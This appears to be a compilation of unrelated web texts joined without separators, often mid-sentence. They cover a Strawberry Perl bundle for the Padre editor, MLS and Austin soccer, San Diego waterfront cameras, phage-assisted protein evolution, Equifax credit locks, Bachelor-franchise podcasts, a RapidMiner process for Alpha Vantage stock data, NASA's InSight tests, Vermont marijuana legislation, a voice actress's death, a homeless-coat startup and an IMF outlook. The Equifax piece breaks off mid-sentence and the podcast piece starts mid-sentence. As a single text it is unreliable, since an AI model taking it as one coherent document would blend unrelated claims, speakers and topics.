We still have not moved it to the main download page of Padre but you can already find the download link on our wiki at the top.
The package contains a lot of modules. It contains DBD::mysql, DBD::Pg and DBD::SQLite that came with Strawberry Perl already and it also contains MongoDB.
All the dependencies of Task::Kensho were added (e.g. Log::Dispatch, Try::Tiny, Moose, POE, DBIx::Class and a lot more). It also includes Dancer with several plug-ins.
For Moose I added MooseX::StrictConstructor and MooseX::Singleton into the mix.
For the more office related people there are Spreadsheet::ParseExcel, Spreadsheet::WriteExcel, Excel::Writer::XLSX and Spreadsheet::WriteExcelXML.
Of course it also includes Wx as it is used by Padre and two main plug-ins for using Perl::Critic and Perl::Tidy.
The use of enhanced compression by Inno Setup also mean that the download size is not 44 Mb instead the 80 Mb I had in the previous edition even though I added a lot more CPAN modules. The installed size is almost 300 Mb.
How to call the kid?
As for naming I am unsure. I started to call it Padre-on-Strawberry when it was mostly about making it easy to distribute Padre but now that so many other things are already packaged, Padre is just one component. So I started to consider calling it some other name. E.g. Strawberry with Cream but I am not sure if that would not cause confusion. I certainly don't want to pose as a replacement of Strawberry. In the best case it is a derivative of the official Strawberry Perl release.
Anyway. If you have an MS Windows box, please give it a try and let me know what do you think.Major League Soccer enjoyed significant growth in 2016 and will lay out a detailed expansion plan next week, Commissioner Don Garber said Friday in his annual state-of-the-league address.
According to Garber, the MLS experienced record attendance for the third year in a row, had more television viewership than ever before and emerged as the fastest-growing major professional sports league in North America on social media, with an increase of more than 90 percent in followers over the past year.
The MLS Cup championship match Saturday night between Seattle and Toronto will be on network TV for the first time, airing at 7 on Fox.
While the pulse of MLS has quickened, there’s barely a heartbeat for pro soccer in Austin. The financially troubled Aztex, who suspended operations for the 2016 United Soccer League season while they sought a stadium solution, still don’t have any concrete answers.
Majority investor Bobby Epstein told the American-Statesman in a brief statement Friday that he had no updates or information to share and repeated his "no stadium, no team" mantra. "Austin needs a stadium," he said.
Owner Rene van de Zande, traveling from Tokyo, didn’t completely close the book on 2017 yet made it clear a second straight year without a pro team in Austin is in the cards.
"It has not been formally ruled out, but we are looking at a return in 2018," he said. "We are still in discussions with the USL about our plans and hope to give Austin soccer fans more insight soon into where this will be going."
USL officials have told the Statesman that the Aztex remain part of the league, at least for now.
The USL will have more than 30 teams for 2017 as a result of rapid expansion and defections from the North American Soccer League, which might be on the verge of collapse.
MLS also is growing, from 20 to 22 teams next year with the addition of Atlanta and Minnesota, and Garber reiterated his long-term plan of expanding to 28 clubs. He said the timeline will be laid out Thursday.
The league averaged 21,692 fans this regular season, a figure that ranks sixth globally, Garber said. The Seattle Sounders led the way, averaging 42,636 per home match.
"We’re up 40 percent in attendance from 10 years ago," Garber said. "Our merchandise sales are up 25 percent from last year, and Forbes magazine reports that value of our average franchise is up 20 percent from 2015 and 80 percent from 2013."
The commissioner said nearly 500 journalists, an all-time high, are in Toronto to cover the MLS title match, which will be shown in a record 170 countries in 90 languages.
"We’re ready to keep growing," Garber said. "There are a dozen or more North American markets who could support a team, in my opinion."Big Brother is watching in PB, Mission Bay Park
City officials have installed surveillance cameras at key waterfront locations from Ocean Beach to De Anza Cove as a result of funding from the Department of Homeland Security.The 14 cameras are atop buildings and light poles in 12 locations:• encircling Mission Bay at Hospitality Point• San Diego Lifeguard Headquarters• Rose Marie Starnes South Shores Boat Launch• entrance to Fiesta Island• Dana Boat Launch• Vacation Island• the north end of the Ingraham Street Bridge• Mission Point• Ocean Beach Pier• Santa Clara Point• Ski Beach• De Anza Boat LaunchFunding for the cameras comes from a grant the city received in 2011 from the Homeland Security’s Urban Areas Security Initiative (UASI). Of the $16 million grant, $385,000 pays for the cameras, according to Darren Pudgil, spokesman for Mayor Jerry Sanders’ Office.Pudgil said the city receives a grant from Homeland Security annually, and that camera-maintenance costs will be paid for over time from the city’s budget.The cameras, which will be shared by a cross-section of law enforcement and government agencies — including the U.S. Coast Guard, San Diego police and Homeland Security — will be monitored by San Diego lifeguards. A spokesman for the lifeguards said the cameras have been installed but are not yet operational.The city currently operates some video-monitoring cameras along San Diego Bay at Mission Bay. The Mission Bay cameras were partially privately funded by residents, Pudgil said. The federal government, military and Port of San Diego also have cameras on the bay and coastal waters.“Mission Bay was the next logical location for these types of cameras,” Pudgil said. “San Diego Bay already has a high number of cameras. Mission Bay was chosen for the protection of tourists and residents. We want to make it as safe as possible.”The USAI program, administered by the Federal Emergency Management Agency (FEMA), has allocated grants since 2003 to help “high-threat, high-density urban areas” develop the capacity “to prevent, protect against, respond to and recover from acts of terrorism.”While video monitoring is new to the points around Mission Bay, it is not uncommon for the public to be under the watchful eye of cameras across San Diego.Along the coastline, federal and military installations have video monitoring.Since 2001, the Port of San Diego has received more than $33.6 million through various Homeland Security and port security grants. Some of those funds paid for security cameras, according to John Gilmore, a representative of the Port District. Gilmore said the Port District has about 140 cameras installed at various locations around San Diego Bay, including cargo terminals for security and public safety.The Port District oversees 17 public parks, two maritime cargo terminals at 10th Avenue and National City and owns the B Street cruise ship terminal.The county also uses video-monitoring equipment at some county buildings for general safety and security, according to Gig Conaughton, a county spokesman. However, the county does not monitor general outdoor activities at places like parks.In 2011, surveillance cameras operated by the city of Fullerton in Orange County captured police officers beating Kelly Thomas, a mentally-ill homeless man who died five days later. The video was instrumental in a judge’s ruling in May that two police officers involved in the beating stand trial for Thomas’ death.For years, researchers have worked to develop novel molecules for therapeutic or research purposes, and have relied on directed evolution as a powerful technique for generating molecules that exhibit the properties they want.
Led by David Liu, a professor of chemistry and chemical biology and a Howard Hughes Medical Institute investigator, a team of Harvard researchers recently developed the first system for enabling proteins to evolve continuously in the laboratory, without researcher intervention. That system, called PACE (phage-assisted continuous evolution), allowed for protein evolution to take place approximately 100 times faster than previously possible.
Now Liu and colleagues have added a powerful new tool to their arsenal — the ability to eliminate molecules they don’t want during continuous directed evolution.
The researchers have equipped PACE with a negative selection — the ability to drive evolution away from certain traits — to enable the rapid evolution of molecules with dramatically altered properties. That ability, Liu said, could help researchers to evolve proteins to selectively perform surgery on only one exact part of a human genome, or bind only one disease-causing protein in a sea of beneficial proteins. The work is described in a paper published online this month in Nature Chemical Biology.
In addition to negative selection, Liu said, “we developed a way to modulate the selection stringency, so we can change the threshold that’s needed for a given population member to survive versus die.”
Using the new tools, Liu and colleagues were able to evolve T7 polymerase proteins — enzymes that bind to specific DNA sequences, called “promoters,” and begin transcribing DNA into RNA — to recognize new sequences, and to reject the sequences they initially evolved to recognize in nature.
“Traditionally, in protein evolution, it’s been quite difficult to evolve enzymes with truly altered specificities,” Liu said. “It’s much easier to evolve enzymes with broadened activities, ones that can process a new target in addition to their original target. There have been far fewer examples of enzymes evolved to recognize a new target and completely reject the target that nature evolved them to recognize.”
To accomplish their goal, Liu and graduate students Jacob Carlson and Ahmed Badran turned to a variant of the protein that forms the backbone of the PACE process.
That process, Liu explained, begins with a virus, called a phage, that infects bacteria. The phage use E. coli host cells as factories to produce both proteins and new generations of phage, and to perform the key selection step that allows phage-carrying genes encoding proteins with desired properties to flourish.
“Until now, those phage propagate only if they have a desired action,” Liu explained. “To develop the negative selection capability we explored strategies to do the opposite — to penalize those phage that encode genes with undesired activity.”
The solution, he said, came from Carlson, who identified a variant of the P3 protein used in PACE that inhibits phage reproduction, rather than allowing them to propagate. By linking the production of that form of the protein to undesired actions, the team was able to create a system that punishes genes encoding proteins with undesired activities.
“Now, if phage have undesired activities, they poison their own ability to reproduce,” Liu said. “And we can integrate both the positive and negative selections to simultaneously select for desired activities while also selecting against undesired activities.”
Using the system to evolve RNA polymerase molecules is only the tip of the iceberg, Liu said, pointing to a range of therapeutic possibilities his lab is already working on.
“Laboratory evolution really comes down to navigating your way through what evolutionary biologists call a ‘fitness landscape,’” he said. “If you imagine that the landscape is all the possible mutations of a protein, and the elevation describes how desirable they are — we’re trying to find our way to the highest summits while avoiding the valleys.
“These new capabilities — negative selection and stringency modulation — allow us, in a much more precise way, to sculpt the way we travel through that landscape, and to tailor the evolution in a way that’s more likely to succeed and more likely to reach the fitness peaks that are of interest to us.”Equifax Interim CEO Paulino Barros (L), former Equifax CEO Richard Smith (C) and former Yahoo Chief Executive Marissa Mayer (R) testify before a Senate Commerce, Science and Transportation hearing on “Protecting Consumers in the Era of Major Data Breaches” on Capitol Hill in Washington, U.S., November 8, 2017. REUTERS/Kevin Lamarque
Equifax (EFX) will roll out a new “credit locks for life” product in January that will be open to “all Americans, whether or not they were impacted by the cybersecurity incident,” and some consumers may be wary that participating may result in waived rights.
The “lock” is similar to a “freeze,” but is not subject to regulation by states.
Speaking at a Senate hearing today, interim CEO Paulino do Rego Barros Jr. declined to guarantee that consumers would not be forced to give up their rights to sue if they used Equifax products. Equifax’s terms of service includes forced arbitration clauses that waive consumers’ legal rights to sue Equifax.
“I believe consumers have a choice to choose the products that they need,” Barros told Sen. Richard Blumenthal (D-CT). “We work according to the law and we use the tools that the industry uses to have arbitration in place.”
Companies generally prefer using arbitration to class action suits and often have forced arbitration clauses in their terms of use or service.
But does this apply to Equifax’s new “credit locks for life” product? Answering the question explicitly, an Equifax spokesperson clarified to Yahoo Finance that “the company does not intend to have the arbitration clause apply to the service.
There is no guarantee that you will keep your right to sue
Consumer advocates remain skeptical due to the broad language on Equifax’s own website.
“Unless they rewrite every other arbitration clause on their website, there is still a substantial risk that consumers who purchase the credit lock program will be subject to arbitration,” said F. Paul Bland, executive director at consumer group Public Justice and an expert in class action suits.
Bland said that if the website arbitration clause is broadly worded — he said last time he checked it was — it could apply to the new credit lock program. And in cases where it’s not clear or there is apparently conflicting terms, it often comes down to the arbitrator deciding |
on a two-on-one date. For better or worse, that’s her brand and she’s making the most of it: As her podcast intro goes, “Now I’m using my huge mouth to talk really smart things” (one of many unfortunate turns of phrase she said on the show). Before she was an internet punching bag, though, she had a job as a newscaster, and of all the former contestants who’ve started up podcasts, she’s by far the most natural and entertaining as a host. Don’t come here looking for recaps, but do check out her Twitter for that. Girl is funny! Also, the journalist in me really appreciates the way she grilled villainous Chad about lunch meats, and kept trying to trip up Reality Steve so he’d reveal his sources. That episode is a must-download, by the way.
Off the Vine With Kaitlyn Bristowe (PodcastOne)
Kaitlyn was known as the “fun” bachelorette, and that reputation has not died in her first foray into podcasting. She is my Katniss Everdeen forever and ever. As a host, she’s a mess, but in a great way. The wine is free-flowing and she often starts talking long before she introduces her guest. But because the stuff she’s chatting about is her life, and because I’ve been invested in her life through two seasons of this show, I’m into it. She’s also just an extraordinarily fun person to spend an hour with. She spills stuff she probably shouldn’t about the show — such as how she wishes ABC would ask to film her wedding — and her interviews with Carly and Evan and her fiancé Shawn B. are the absolute, dishy best.
Reality Steve Podcast
Steve Carbone (a.k.a. Reality Steve) is best known for having released spoilers about who wins each season, every season, since 2009 and bragging about it a lot. I’m surprised as anyone that he turns out to be a great interviewer and a charming podcast host. Rather than recap the show, he invites on old cast members and grills them about the entirety of their experience on the franchise, from casting to the bitter end. Even the interviews with also-rans you don’t remember are interesting. But the deep dives with former bachelorette DeAnna Pappas and former bachelor Ben Flajnik, plus the both-sides-of-a-breakup talks with Kiptyn Locke and Tenley Molzahn — who’d both been in the top three of their seasons, then met on Bachelor Pad (RIP) and dated for five years — have been vulnerable, fascinating windows into a recent past that feels both relevant and a lifetime ago.
I Don’t Get It (Wave Podcast Network)
Yes, the indomitable Ashley Iaconetti has not one, but two podcasts. Every time I listen to this podcast, I am reminded of how young she is and how even younger the listeners who call in are. The basic concept is Ashley, her sister Lauren, and reality TV producer Naz Perez talking about issues affecting millennials. As a 28-year-old virgin, Ashley doesn’t necessarily seem to be the best authority at handing out love advice (similar to how, as someone who only made it to a two-on-one date on her season of The Bachelor, she’s not exactly qualified to talk authoritatively about how finding love works on the show), but her charm is in speaking her mind anyway. I highly recommend the two “Ghostbusters” episodes they’ve done, where they interview a listener who doesn’t know why a guy ghosted her, and then call up that guy and get him to explain himself. They’re phenomenal.
A Vlog for the Ages
Demetria Lucas D’Oyley’s Bachelorette Recaps
I happened upon this amazing vlog thanks to a Twitter mention from none other than the bachelorette herself, Rachel Lindsay. Demetria is a first-time viewer who holds a coffee cup that she never sips from as she lays out truth, like how fabulous Rachel’s sister Constance is: “This woman is eight months pregnant … her baby hair is laid, her curls are poppin’, throughout the episode, she is giving you one maternity moment after the other.” It’s refreshing to hear a black woman’s perspective on Rachel’s experience, and to have her calling out some questionable comments made by the guys. (Even Peter!) Also, she’s a font of observations about the things she’s seeing for the first time, like fantasy suites: “She’s gonna go on a fantasy suite with each of these dudes? Over the course of a week? Far be it from me to police anybody else’s chocha, but momma, that’s a lot of use on that thing, with different people, in a week.” I want to listen to her forever and ever.
*Correction: A previous version of this article referred to Arden Myrin by her co-host’s name Erin Foley.So I believe I have finally found a decent alternative to the old Yahoo Finance API so you can bring financial market data directly into RapidMiner for data analysis. A company called Alpha Vantage has developed an API that appears to perform the same functions.
You can get a free API key on their website, and you can use the process below directly into RapidMiner 7.6:
<?xml version="1.0" encoding="UTF-8"?><process version="7.6.000">
<context>
<input/>
<output/>
<macros/>
</context>
<operator activated="true" class="process" compatibility="7.6.000" expanded="true" name="Process">
<process expanded="true">
<operator activated="true" class="set_macros" compatibility="7.6.000" expanded="true" height="68" name="Set Macros" width="90" x="45" y="238">
<list key="macros">
<parameter key="apiKey" value="your-KEY-here"/>
<parameter key="tickerSymbol" value="AAPL"/>
<parameter key="function" value="TIME_SERIES_DAILY"/>
<parameter key="outputSize" value="compact"/>
</list>
</operator>
<operator activated="true" class="generate_data_user_specification" compatibility="7.6.000" expanded="true" height="68" name="Generate Data by User Specification" width="90" x="179" y="238">
<list key="attribute_values"/>
<list key="set_additional_roles"/>
</operator>
<operator activated="true" class="web:enrich_data_by_webservice" compatibility="7.3.000" expanded="true" height="68" name="Enrich Data by Webservice" width="90" x="313" y="238">
<parameter key="query_type" value="Regular Expression"/>
<list key="string_machting_queries"/>
<list key="regular_expression_queries">
<parameter key="foo" value=".*"/>
</list>
<list key="regular_region_queries"/>
<list key="xpath_queries"/>
<list key="namespaces"/>
<list key="index_queries"/>
<list key="jsonpath_queries"/>
<parameter key="url" value="https://www.alphavantage.co/query?function=%{function}&outputsize=%{outputSize}&symbol=%{tickerSymbol}&apikey=%{apiKey}"/>
<list key="request_properties"/>
</operator>
<operator activated="true" class="subprocess" compatibility="7.6.000" expanded="true" height="82" name="Subprocess" width="90" x="447" y="238">
<process expanded="true">
<operator activated="true" class="text:data_to_documents" compatibility="7.5.000" expanded="true" height="68" name="Data to Documents" width="90" x="45" y="34">
<parameter key="select_attributes_and_weights" value="true"/>
<list key="specify_weights">
<parameter key="foo" value="1.0"/>
</list>
</operator>
<operator activated="true" class="text:combine_documents" compatibility="7.5.000" expanded="true" height="82" name="Combine Documents" width="90" x="179" y="34"/>
<operator activated="true" class="text:json_to_data" compatibility="7.5.000" expanded="true" height="82" name="JSON To Data" width="90" x="313" y="34"/>
<operator activated="true" class="numerical_to_real" compatibility="7.6.000" expanded="true" height="82" name="Numerical to Real" width="90" x="447" y="136">
<parameter key="attribute_filter_type" value="regular_expression"/>
<parameter key="regular_expression" value="Time.*"/>
</operator>
<operator activated="true" class="de_pivot" compatibility="7.6.000" expanded="true" height="82" name="De-Pivot" width="90" x="514" y="34">
<list key="attribute_name">
<parameter key="value" value="Time.*"/>
</list>
<parameter key="index_attribute" value="date"/>
<parameter key="create_nominal_index" value="true"/>
</operator>
<operator activated="true" class="split" compatibility="7.6.000" expanded="true" height="82" name="Split" width="90" x="648" y="34">
<parameter key="attribute_filter_type" value="single"/>
<parameter key="attribute" value="date"/>
<parameter key="split_pattern" value="[.]\s"/>
</operator>
<operator activated="true" class="replace" compatibility="7.6.000" expanded="true" height="82" name="Replace" width="90" x="782" y="34">
<parameter key="attribute_filter_type" value="single"/>
<parameter key="attribute" value="date_1"/>
<parameter key="replace_what" value="Time Series \(Daily\)[.]"/>
</operator>
<operator activated="true" class="replace" compatibility="7.6.000" expanded="true" height="82" name="Replace (2)" width="90" x="916" y="34">
<parameter key="attribute_filter_type" value="single"/>
<parameter key="attribute" value="date_1"/>
<parameter key="replace_what" value="[.][0-9]"/>
</operator>
<operator activated="true" class="pivot" compatibility="7.6.000" expanded="true" height="82" name="Pivot" width="90" x="1050" y="34">
<parameter key="group_attribute" value="date_1"/>
<parameter key="index_attribute" value="date_2"/>
<parameter key="consider_weights" value="false"/>
</operator>
<operator activated="true" class="rename_by_replacing" compatibility="7.6.000" expanded="true" height="82" name="Rename by Replacing" width="90" x="1184" y="34">
<parameter key="replace_what" value="value[_]"/>
</operator>
<operator activated="true" class="rename_by_replacing" compatibility="7.6.000" expanded="true" height="82" name="Rename by Replacing (2)" width="90" x="1318" y="34">
<parameter key="replace_what" value="Meta Data[.][0-9][.]\s"/>
</operator>
<operator activated="true" class="rename" compatibility="7.6.000" expanded="true" height="82" name="Rename" width="90" x="1452" y="34">
<parameter key="old_name" value="date_1"/>
<parameter key="new_name" value="Date"/>
<list key="rename_additional_attributes"/>
</operator>
<operator activated="true" class="nominal_to_date" compatibility="7.6.000" expanded="true" height="82" name="Nominal to Date" width="90" x="1586" y="34">
<parameter key="attribute_name" value="Date"/>
<parameter key="date_format" value="yyyy-MM-dd"/>
</operator>
<operator activated="true" class="set_role" compatibility="7.6.000" expanded="true" height="82" name="Set Role" width="90" x="1720" y="34">
<parameter key="attribute_name" value="Date"/>
<parameter key="target_role" value="id"/>
<list key="set_additional_roles"/>
</operator>
<connect from_port="in 1" to_op="Data to Documents" to_port="example set"/>
<connect from_op="Data to Documents" from_port="documents" to_op="Combine Documents" to_port="documents 1"/>
<connect from_op="Combine Documents" from_port="document" to_op="JSON To Data" to_port="documents 1"/>
<connect from_op="JSON To Data" from_port="example set" to_op="Numerical to Real" to_port="example set input"/>
<connect from_op="Numerical to Real" from_port="example set output" to_op="De-Pivot" to_port="example set input"/>
<connect from_op="De-Pivot" from_port="example set output" to_op="Split" to_port="example set input"/>
<connect from_op="Split" from_port="example set output" to_op="Replace" to_port="example set input"/>
<connect from_op="Replace" from_port="example set output" to_op="Replace (2)" to_port="example set input"/>
<connect from_op="Replace (2)" from_port="example set output" to_op="Pivot" to_port="example set input"/>
<connect from_op="Pivot" from_port="example set output" to_op="Rename by Replacing" to_port="example set input"/>
<connect from_op="Rename by Replacing" from_port="example set output" to_op="Rename by Replacing (2)" to_port="example set input"/>
<connect from_op="Rename by Replacing (2)" from_port="example set output" to_op="Rename" to_port="example set input"/>
<connect from_op="Rename" from_port="example set output" to_op="Nominal to Date" to_port="example set input"/>
<connect from_op="Nominal to Date" from_port="example set output" to_op="Set Role" to_port="example set input"/>
<connect from_op="Set Role" from_port="example set output" to_port="out 1"/>
<portSpacing port="source_in 1" spacing="0"/>
<portSpacing port="source_in 2" spacing="0"/>
<portSpacing port="sink_out 1" spacing="0"/>
<portSpacing port="sink_out 2" spacing="0"/>
</process>
<description align="center" color="transparent" colored="false" width="126">clean up</description>
</operator>
<connect from_op="Generate Data by User Specification" from_port="output" to_op="Enrich Data by Webservice" to_port="Example Set"/>
<connect from_op="Enrich Data by Webservice" from_port="ExampleSet" to_op="Subprocess" to_port="in 1"/>
<connect from_op="Subprocess" from_port="out 1" to_port="result 1"/>
<portSpacing port="source_input 1" spacing="0"/>
<portSpacing port="sink_result 1" spacing="0"/>
<portSpacing port="sink_result 2" spacing="0"/>
<description align="center" color="yellow" colored="false" height="201" resized="false" width="640" x="35" y="18">Alpha Vantage API(alphavantage.co)<br>Author: Scott Genzer<br>Published: ‎‎8-25-2017<br>Link: http://community.rapidminer.com/t5/RapidMiner-Studio-Knowledge-Base/Real-Time-Financial-Data-via-Alpha-Venture-API-alternative-to/ta-p/41119<br><br>Note: For each process below, enter your Alpha Vantage API key, ticker symbol and other request elements in the Set Macros operator before running (see https://www.alphavantage.co/documentation/)<br><br></description>
</process>
</operator>
</process>
Feedback welcome. Enjoy!
ScottNASA’s “Interior Exploration using Seismic Investigations, Geodesy and Heat Transport (InSight)” mission has received another boost ahead of launch, as the spacecraft passed its Thermal vacuum (TVAC) milestone in Colorado. The mission remains on track for May of next year, which will involve the first interplanetary launch from the West Coast.
InSight Mission:
The latest battery of tests was designed to validate the spacecraft could survive the six month journey to Mars and carry out of its important work on the Red Planet.
The United States is the world champion at successfully sending spacecraft and landers to Mars, a task that remains incredibly difficult to pull off. Landing them in a healthy condition is even more difficult.
Thermal vacuum (TVAC) testing is the most comprehensive testing you can perform on a fully assembled spacecraft prior to its launch.
Using a special depressurized chamber, TVAC stresses the design and assembly of the system, validating its integrity and operational capabilities in a simulated, harsh, space-like environment.
“This milestone came after a long stream of rigorous tests including solar array deploy and electromagnetic interference and compatibility testing,” noted Lockheed Martin, in a release on Wednesday.
Passing this phase of testing is a big milestone for the mission, not least because a leak was discovered during an earlier test period.
During the environmental testing phase, the lander was exposed to extreme temperatures, vacuum conditions of nearly zero air pressure simulating interplanetary space, and a battery of tests.
One of the tests was designed to ensure the seismometer instrument’s main sensors can operate within a vacuum chamber to provide the exquisite sensitivity needed for measuring ground movements as small as half the radius of a hydrogen atom.
A leak had previously prevented the seismometer from retaining vacuum conditions, but was repaired, and the mission team was hopeful that fix would prove to be successful. However, during follow-up testing in extreme cold temperature (-49 degrees Fahrenheit/-45 degrees Celsius) the instrument again failed to hold a vacuum.
The discovery of the issue with the Seismic Experiment for Interior Structure (SEIS) instrument was the responsibility of CNES, not Lockheed Martin.
Now, with the TVAC testing a success, the spacecraft can look forward to preparations for the shipping to the launch site for integration with its launch vehicle.
“With InSight coming out of TVAC, the team at Lockheed Martin has successfully completed the environmental testing phase and will be finalizing launch preparations over the coming months,” added the company.
The launch is set for a five-week window that opens on May 5, 2018. The journey to Mars will result in a landing the Monday after Thanksgiving in 2018.
The spacecraft will be launched by the United Launch Alliance (ULA) Atlas V rocket flying in her 401 configuration.
This type of flagship mission is something ULA rockets excel in, with every launch conducted by the company riding uphill without issue.
However, this will be the first time an interplanetary mission will have been launched from a West Coast launch site. The only other deep space launch of note from the West Coast was the Clementine mission that was launched to the Moon by a Titan II rocket on January 25, 1994.
Due to the trajectory requirements for spacecraft launched for such missions, the East Coast is normally the primary site. However, the option to launch from the West Coast was taken due to the relatively small mass of the spacecraft, allowing the powerful Atlas V to have margin left over to conduct the launch from her SLC-3E West Coast launch site at Vandenberg Air Force Base.
Using the less busy West Coast site also aids the launch window, with multiple opportunities available without the distraction of other rockets, of which there are many on the Eastern Range.
The InSight mission draws upon a strong international partnership led by Principal Investigator Bruce Banerdt of JPL. The lander’s Heat Flow and Physical Properties Package is provided by the German Aerospace Center (DLR).
While the spacecraft features numerous elements, a striking feature of the lander is a probe that will hammer itself to a depth of about 16 feet (5 meters) into the ground beside the lander, providing – as the mission’s name suggests – major insight into the interior of Mars.
Called the Heat Flow and Physical Properties Package (HP³) and designed by The German Aerospace Institute (DLR), it will hammer into the Martian surface, further than any probe has ever peered into Mars’ interior, and take subterranean temperature readings.
“HP3 consists of a so called ‘Mole’, which will hammer itself into the subsurface. The mole pulls an instrumented tether behind it, which is equipped with temperature sensors to determine the thermal gradient in the ground,” noted DLR information.
“The mole is targeted for a depth of 5 m below the surface. In addition to the temperature sensors, the mole is equipped with heating foils, which will be used to determine the thermal conductivity of the regolith by operating the mole as a modified line heat source.”
A lander-mounted radiometer, which will measure surface temperatures at the landing site, will complement HP³. Surface temperature readings will allow scientists to better interpret temperature variations HP³ encounters as it probes below the Martian surface.
For instance, a shadowed area of surface may cause cooler temperature readings in the soil below it. In addition, the radiometer will detect the dust coverage and soil compaction of the surface.
HP³ is derived from the designs of both the Multi-Purpose Sensor (MUPUS) aboard ESA’s Rosetta spacecraft and the Planetary Underground Tool (PLUTO), which would have peered beneath the Martian surface from the ill-fated Beagle 2 lander.
The mission will further aid our understanding of Mars which is an ongoing process, not least after this week’s news that the dark features previously proposed as evidence for significant liquid water flowing on Mars has now been identified as granular flows, according to the U.S. Geological Survey.
(Images via Lockheed Martin, NASA and DLR).The effort to legalize marijuana in Vermont this year has taken “more twists and turns than a murder mystery novel,” in the words of local public radio host Mitch Wertlieb.
After a series of fits and starts in the state’s House of Representatives, and philosophical disagreements with the Senate over what the end of prohibition could look like, lawmakers finally sent a legalization proposal to Gov. Phil Scott (R) last month.
But Scott vetoed the bill. However, in doing so he laid out several changes that, if adopted by the legislature, would make him feel comfortable enough to sign a legalization bill into law.
Now, details are emerging about a revised proposal that lawmakers have crafted which they believe can be passed during a special veto session scheduled to begin on June 21.
According to a report from the Vermont Press Bureau, key House and Senate leaders sent the governor their new bill late last week.
On Monday, Scott’s spokesman said the governor is “encouraged to get a good counterproposal,” indicating that he intends to respond to the lawmakers later in the day.
Gov's spokeswoman says Scott is "encouraged to get a good counterproposal" from lawmakers, will respond today #vtpoli — Neal P. Goswami (@nealgoswami) June 12, 2017
In a Vermont Public Radio segment hosted on Monday by Wertlieb, Sen. Joe Benning (R) said that the legislation is “close enough” to what Scott wanted and that only minor “tweaks” to its language are expected.
Like the previously vetoed legislation, the new bill would legalize possession of one ounce of marijuana and allow home cultivation of two mature cannabis plants and four seedlings, effective July 1, 2018. It would also create a study commission to examine the possible future legalization and taxation of marijuana sales.
To address Scott’s concerns about driving under the influence and children’s access to marijuana, the revised legislation enacts new civil fines for use of cannabis in a vehicle by a passenger, use of marijuana in a vehicle with a minor present and cultivating cannabis at a child care center or afterschool program. It also clarifies what constitutes dispensing marijuana and defines public spaces in which marijuana use would be prohibited. And, it allows police officers to seize marijuana that exceeds allowed possession limits.
Finally, the new legislation changes the composition of the marijuana commercialization study committee, allowing the governor to appoint more of its members. And now, instead of issuing a report to the legislature by November 1, 2017, the panel’s recommendations will be due by January 15 of next year.
It’s an open question as to whether legalization supporters will be able to pass the legislation during what is expected to be a two- or three-day veto override session this month. Moving a bill that quickly would normally require a suspension of the rules, and House Republican leader Don Turner has already said he doesn’t support doing so. If he convinces roughly 40 colleagues from his 53-member GOP caucus, he can block the bill’s advancement.
However, Turner has indicated that he will allow his members to make their own decision on the matter and doesn’t expect them to vote in a bloc.
And Scott has said that if he reaches a compromise agreement with legalization supporters he will “advocate” that members of his party allow it to move forward.
Aside from suspending the rules to advance legalization as a standalone bill, there are several other mechanisms the legislature can use to send Scott revised marijuana legislation.
They could attach legalization to the state’s budget, which is the the main legislation lawmakers are holding the special session to address in the first place. It is unlikely that Republican lawmakers would force a government shutdown over marijuana.
They could also extend the short session by holding a series of “token sessions” during which only a few members are present but which would advance through a sufficient number of calendar days to allow a standalone legalization bill to come to the floor under regular order.
And if none of those options come to pass, lawmakers would be expected to take up the issue again when the legislature convenes for the second half of his biennium in January.
A poll released in March found that 57 percent of the state’s voters support noncommercial legalization along the lines of the current proposal. The survey also showed that 54 percent favor a full taxed and regulated system of legal sales akin to the approach of separate legislation approved by the Senate earlier this year and in 2016.The agency 81 Produce reported on the blog of the late voice actress Miyu Matsuki on Tuesday that she was diagnosed with a chronic active Epstein-Barr virus infection, which eventually led to a terminal case of malignant lymphoma.
Matsuki passed away on October 27. The blog post states that her family now wishes to share the name of the disease in order to raise awareness for early detection.
When Matsuki announced in July that she would be taking a break from her work to focus on treating her pneumonia, she did not know the cause of her illness. She had been admitted to a hospital on June 30, and after testing was eventually diagnosed with a chronic active Epstein-Barr virus infection. She was discharged on September 4 but was hospitalized again on September 18.
Some of her roles in anime include Kū-ko in Nyaruko: Crawling with Love!, Isumi Saginomiya in Hayate the Combat Butler, Magical Sapphire in Fate/kaleid liner Prisma Illya, and most recently as Anna Nishikinomiya in SHIMONETA: A Boring World Where the Concept of Dirty Jokes Doesn't Exist. She also performed theme songs for Love Love?, Zoku Sayonara Zetsubō Sensei, and Nyaruko: Crawling with Love!.
Thanks to Omiya and mierin for the news tips
[Via Hachima Kikō]A coat developed by a social entrepreneur and designed for homeless people is now a somewhat hot item in the high-end fashion world.
Earlier this month, 23-year-old Veronika Scott told PBS NewsHour that she had plans to add a for-profit arm to her non-profit company, The Empowerment Plan, which has donated over 1,000 coats to the homeless since launching in late 2010.
Scott's foray into the private market comes after she debuted the coats at last year’s Aspen Fashion Week to much fanfare, helping her land a $100,000 investment from the billionaire founder of Spanx, Sara Blakely.
Designed for the homeless in her hometown of Detroit, where winter temperatures regularly fall below freezing, the coat doubles as a sleeping bag. And therein lies its instinctive appeal.
“At the end of the day, people gravitate to the coats because it’s easy to understand,” Scott told Crain’s Detroit Business, referring to the apparel’s ability to adapt from clothing to bedding. “But the uniqueness is in what we do and who we hire.”
The Empowerment Plan employs formerly homeless women and trains them to produce the coats. There are now 10 women on staff who were all able to acquire housing after receiving a job and sewing training from the company.
Empowerment aims to make more than 4,000 coats this year, according to PBS. Inspired by the Tom’s Shoes “one-for-one” model, the company plans to donate a free coat to one homeless person with every purchase, Scott told Sustainable Industries.
Known as the “Crazy Coat Lady,” Scott is one of a number of young entrepreneurs in the Detroit area building businesses that seek to solve the city's social problems, such as its high unemployment, poor access to housing and deficient public transportation.
PHOTO GALLERY Sleeping Bag Coat
Correction: A previous version of this article misstated the amount of money that Spanx founder Sara Blakely invested in The Empowerment Plan.IMF head warns of slow growth and economic “shocks” in 2016
By Barry Grey
31 December 2015
International Monetary Fund Managing Director Christine Lagarde offered a bleak economic forecast for 2016 and beyond in a guest column published Wednesday in the German financial newspaper Handelsblatt.
The IMF head wrote that global economic growth next year would be “disappointing” and the outlook for the medium term had also deteriorated. Lagarde pointed to the continuing slowdown in China and the prospect of rising interest rates in the US as major factors leading to a continued slowdown in world growth rates and the potential for financial shocks.
Lagarde also noted the substantial decline in the growth of world trade, the ongoing fall in oil and other commodity prices, and the worsening economic and financial crisis in so-called “emerging market” and “developing” countries whose economies are heavily dependent on commodity exports and expanding trade.
